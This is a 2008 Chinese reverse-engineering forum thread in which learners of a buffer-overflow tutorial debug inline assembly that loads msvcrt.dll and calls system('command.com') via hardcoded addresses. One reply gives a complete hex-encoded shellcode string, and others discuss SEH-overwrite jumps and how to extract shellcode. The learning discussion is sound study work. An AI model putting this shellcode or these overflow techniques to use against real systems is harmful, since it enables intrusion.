首页
社区
课程
招聘
[求助]VC中的代码修改成内联汇编时,Loadlibrary方法发生错误。为什么?
发表于: 2008-5-16 12:40 9961

[求助]VC中的代码修改成内联汇编时,Loadlibrary方法发生错误。为什么?

2008-5-16 12:40
9961
我的操作系统是win2003 sp2
根据《Q版溢出教程》上做的修改,修改之后发生一个0x77b70000不能read的错误

可是为什么呢?
这个0x77b70000明明就是那个Loadlibrary 的地址啊……

而且我在周围同事的机器上(xp、2000也同样做了测试,同样作了修改,可是还是出现这个错误[错误的地址根据不同的操作系统Loadlibrary的地址不同而不同])

源码:
#include <windows.h>
#include <winbase.h> 

typedef void (*MYPROC)(LPTSTR);        //定义函数指针

int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“msvcrt.dll”);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); //查找system函数地址
(ProcAdd) ("command.com");          //其实就是执行system(“command.com”)

return 0;
}


修改后
#include<windows.h>

void main()
{
    __asm
    {
        //首先要LoadLibrary("msvcrt.dll");
            push ebp
            mov ebp,esp
            xor eax,eax
            push eax
            push eax
            push eax
            mov byte ptr[ebp-0Ch],4Dh
            mov byte ptr[ebp-0Bh],53h
            mov byte ptr[ebp-0Ah],56h
            mov byte ptr[ebp-09h],43h
            mov byte ptr[ebp-08h],52h
            mov byte ptr[ebp-07h],54h
            mov byte ptr[ebp-06h],2Eh
            mov byte ptr[ebp-05h],44h
            mov byte ptr[ebp-04h],4Ch
            mov byte ptr[ebp-03h],4Ch
            lea eax,[ebp-0Ch]
            push eax
            mov edx,0x77b70000//win2003 sp2
            call edx
            //然后是开一个dos窗口:
            push ebp 
            mov ebp, esp 
            sub esp, 0x2C 
            mov eax, 0x6D6D6F63 
            mov dword ptr [ebp-0x0C], eax
            mov eax, 0x2E646E61 
            mov dword ptr [ebp-0x8], eax
            mov eax, 0x226D6F63 
            mov dword ptr [ebp-0x4], eax
            xor edx, edx 
            mov byte ptr [ebp-0x1], dl 
            lea eax, dword ptr [ebp-0xC]
            push eax 
            mov eax, 0x77b8a083//win2003 sp2
            call eax 
    }
    exit(0);
    
}



[课程]Android-CTF解题方法汇总!

收藏
免费 0
支持
分享
最新回复 (19)
雪    币: 92
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
我刚才OD跟了一下,好像是那个地址77B70000的原因,总是不可读。

可这个是Loadlibrary的那个地址啊,为什么不可读呢?
2008-5-16 13:19
0
雪    币: 124
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
3
堆栈不平衡。不知是否是这个原因。要上班了,没调试。

void main()
{
    __asm
    {
            pushad
        //首先要LoadLibrary("msvcrt.dll");
            push ebp
            mov ebp,esp
            xor eax,eax
            push eax
            push eax
            push eax
            mov byte ptr[ebp-0Ch],4Dh
            mov byte ptr[ebp-0Bh],53h
            mov byte ptr[ebp-0Ah],56h
            mov byte ptr[ebp-09h],43h
            mov byte ptr[ebp-08h],52h
            mov byte ptr[ebp-07h],54h
            mov byte ptr[ebp-06h],2Eh
            mov byte ptr[ebp-05h],44h
            mov byte ptr[ebp-04h],4Ch
            mov byte ptr[ebp-03h],4Ch
            lea eax,[ebp-0Ch]
            push eax
            mov edx,0x77b70000//win2003 sp2
            call edx
            
            add esp, 12
            pop ebp
            
            //然后是开一个dos窗口:
   //         push ebp
            mov ebp, esp
            sub esp, 0x2C
            mov eax, 0x6D6D6F63
            mov dword ptr [ebp-0x0C], eax
            mov eax, 0x2E646E61
            mov dword ptr [ebp-0x8], eax
            mov eax, 0x226D6F63
            mov dword ptr [ebp-0x4], eax
            xor edx, edx
            mov byte ptr [ebp-0x1], dl
            lea eax, dword ptr [ebp-0xC]
            push eax
            mov eax, 0x77b8a083//win2003 sp2
            call eax

            add esp, 0x2C
            pop ebp
            pushad
    }
    exit(0);
   
}
2008-5-16 13:23
0
雪    币: 359
活跃值: (41)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
堆栈确实不平衡,而且第一个call edx的时候,没有事先将esp减掉再访问esp+x部分的空间,而是直接访问esp-x的空间,如果在LoadLibrary内部有什么变量初始化定义的话,可能会将你的"msvcrt.dll"字符串覆盖,这是比较危险的。
不过实际上LZ的问题可能不是在这个上面,虽然堆栈不平衡,不过LZ是直接exit(0),而不是return,而且实际测试LoadLibrary似乎也不会覆盖"msvcrt.dll"参数的空间。
应该是LZ找错地址了,我试过
mov edx,0x77b70000  -> mov edx, Loadlibrary
mov eax, 0x77b8a083 -> mov eax, system
这样可以正常运行……
2008-5-16 13:58
0
雪    币: 92
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
应该不是堆栈不平衡的原因,我感觉应该是从那个地址找不到Loadlibrary那个函数
可是从VC的跟踪来看,win2003 sp2下Loadlibrary函数的地址确实是那个没错……

如果我把call edx那个直接修改成 call ds:LoadLibraryA,那么就没有问题了。从这里来看应该是找不到的原因吧。
2008-5-16 14:00
0
雪    币: 359
活跃值: (41)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
你可以printf("%p\n", LoadLibrary);直接查看其地址啊。
2008-5-16 14:04
0
雪    币: 124
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
7
隐隐觉得刚才回答有问题。在公司背着老板试了一下。
成功通过了。
看来确实是找的地址存在问题。
可以用OD核对一下导出函数地址。
2008-5-16 14:12
0
雪    币: 92
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
OD跟踪后显示的结果为42413C

可是这个地址是Loadlibrary的吗?
2008-5-16 14:51
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
9
首先0x77b70000这个地址肯定不对。这可能是kernel32.dll的基址(2000下的?),但不会是LoadLibraryA函数的地址。
XP sp2下,我这边得到的LoadLibraryA函数的地址是0x7C801D77

42413C这个地址,则明显是在用户领空,而不在kernel32.dll,所以肯定不是LoadLibraryA的地址,楼主是不是把jmp到LoadLibraryA的那句语句的地址,或输入表中保存LoadLibraryA地址的位置,当成LoadLibraryA的地址了?
2008-5-16 15:32
0
雪    币: 92
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
一语道破,我把这个给忽略了……
=======================
在这里做个记录,如果以后有人需要的话可以直接拿来用
windows 2003 的LoadLibrary地址是0x77E1850D
2008-5-16 21:09
0
雪    币: 249
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
int main()
{
    HINSTANCE k32 = GetModuleHandle(TEXT("kernel32.dll")); /* k32 must be loaded for every app */
    DWORD addrW = (DWORD)GetProcAddress(k32, "LoadLibraryW");  /* LoadLibrary unicode version */
    DWORD addrA = (DWORD)GetProcAddress(k32, "LoadLibraryA");  /* LoadLibrary ansi version */

}

6:    int main()
7:    {
00401010   push        ebp
00401011   mov         ebp,esp
00401013   sub         esp,4Ch
00401016   push        ebx
00401017   push        esi
00401018   push        edi
00401019   lea         edi,[ebp-4Ch]
0040101C   mov         ecx,13h
00401021   mov         eax,0CCCCCCCCh
00401026   rep stos    dword ptr [edi]
8:        HINSTANCE k32 = GetModuleHandle(TEXT("kernel32.dll")); /* k32 must be loaded for every app */
00401028   mov         esi,esp
0040102A   push        offset string "kernel32.dll" (00422f8c)
0040102F   call        dword ptr [__imp__GetModuleHandleA@4 (0042a1a4)]
00401035   cmp         esi,esp
00401037   call        __chkesp (004010c0)
0040103C   mov         dword ptr [ebp-4],eax
9:        DWORD addrW = (DWORD)GetProcAddress(k32, "LoadLibraryW");  /* LoadLibrary unicode version */
0040103F   mov         esi,esp
00401041   push        offset string "msvcrt.dll" (00422f7c)
00401046   mov         eax,dword ptr [ebp-4]
00401049   push        eax
0040104A   call        dword ptr [__imp__GetProcAddress@8 (0042a16c)]
00401050   cmp         esi,esp
00401052   call        __chkesp (004010c0)
00401057   mov         dword ptr [ebp-8],eax
10:       DWORD addrA = (DWORD)GetProcAddress(k32, "LoadLibraryA");  /* LoadLibrary ansi version */
0040105A   mov         esi,esp
0040105C   push        offset string "LoadLibraryA" (0042201c)
00401061   mov         ecx,dword ptr [ebp-4]
00401064   push        ecx
00401065   call        dword ptr [__imp__GetProcAddress@8 (0042a16c)]
0040106B   cmp         esi,esp
0040106D   call        __chkesp (004010c0)
00401072   mov         dword ptr [ebp-0Ch],eax
11:
12:   }

//此为汇编代码

0040104A   call        dword ptr [__imp__GetProcAddress@8 (0042a16c)]
00401050   cmp         esi,esp
EAX=7C80AE4B            

00401065   call        dword ptr [__imp__GetProcAddress@8 (0042a16c)]
0040106B   cmp         esi,esp
EAX=7C801D77

系统环境:winxp sp2
2008-5-17 09:04
0
雪    币: 249
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
我这两天也在看这本书,有些问题不是很明白,一起在这里问算了。
第一:ShellCodel
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54"
"\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C"
"\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x8B\xE5\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45"
"\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45"
"\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0"
其\x为什么意思,要是十六进制的话不是应该\0x嘛?
第二:双引号""的分段有没有要求的,还是我可以任意把代码分开?
2008-5-17 09:10
0
雪    币: 92
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
答案一:在C语言中的十六进制是以\x后面跟2位数字(十六进制)来表示的
答案二:教程上那么写纯属是为了便于查看编码,这个没有什么硬性要求,我就是都写在了以行 我是懒的分行了

建议你看下C语言的基础知识
2008-5-17 18:58
0
雪    币: 249
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14




这里有想不明白的地方:
“这里我们故意把返回地址覆盖成一个错误的地址。出错时Windows就会跳到处理错误的入口点,。。。”处理错误入口点是否就是图中“处理程序1地址”,如果是的话,那么JMP EBX后就到了ebx的地方,也就是“处理程序1地址”前4字节的地方,然后在这里写JMP 04不就又到了“处理程序1地址”?怎么会是“正好跳过覆盖值,达到我们的ShellCode”呢,我实在想不明白了。。。
上传的附件:
2008-5-17 21:16
0
雪    币: 92
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
这两个图我没见过,可能是这块儿我还没看到吧……
2008-5-17 21:32
0
雪    币: 220
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
提取机器码谁能详细讲讲
2008-5-17 21:59
0
雪    币: 249
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
就在开头没多远,jmp/call ebx 异常覆盖那里
2008-5-18 07:42
0
雪    币: 249
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
还有关于ShellCode得编写或者说提取,按教程我总结了下:
1.用高级语言实现我们需要的功能;
2.按照不同操作系统的函数调用机制将已实现功能的高级语言程序转换成汇编语言;
3.通过编译器获取相应汇编程序对应的机器码;
4.验证ShellCode的可用性。

这里我想不明白的是为何要把高级语言程序转换成全汇编后再提取shellcode呢,我直接提取比如c写的程序的机器码也应该是可执行代码啊?关键为何要有中间这步呢?
2008-5-18 07:46
0
雪    币: 249
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
顶一下,希望有人能回答我。。。
2008-5-21 11:05
0
雪    币: 249
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
继续顶。。。。
2008-5-23 20:22
0
游客
登录 | 注册 方可回帖
返回
//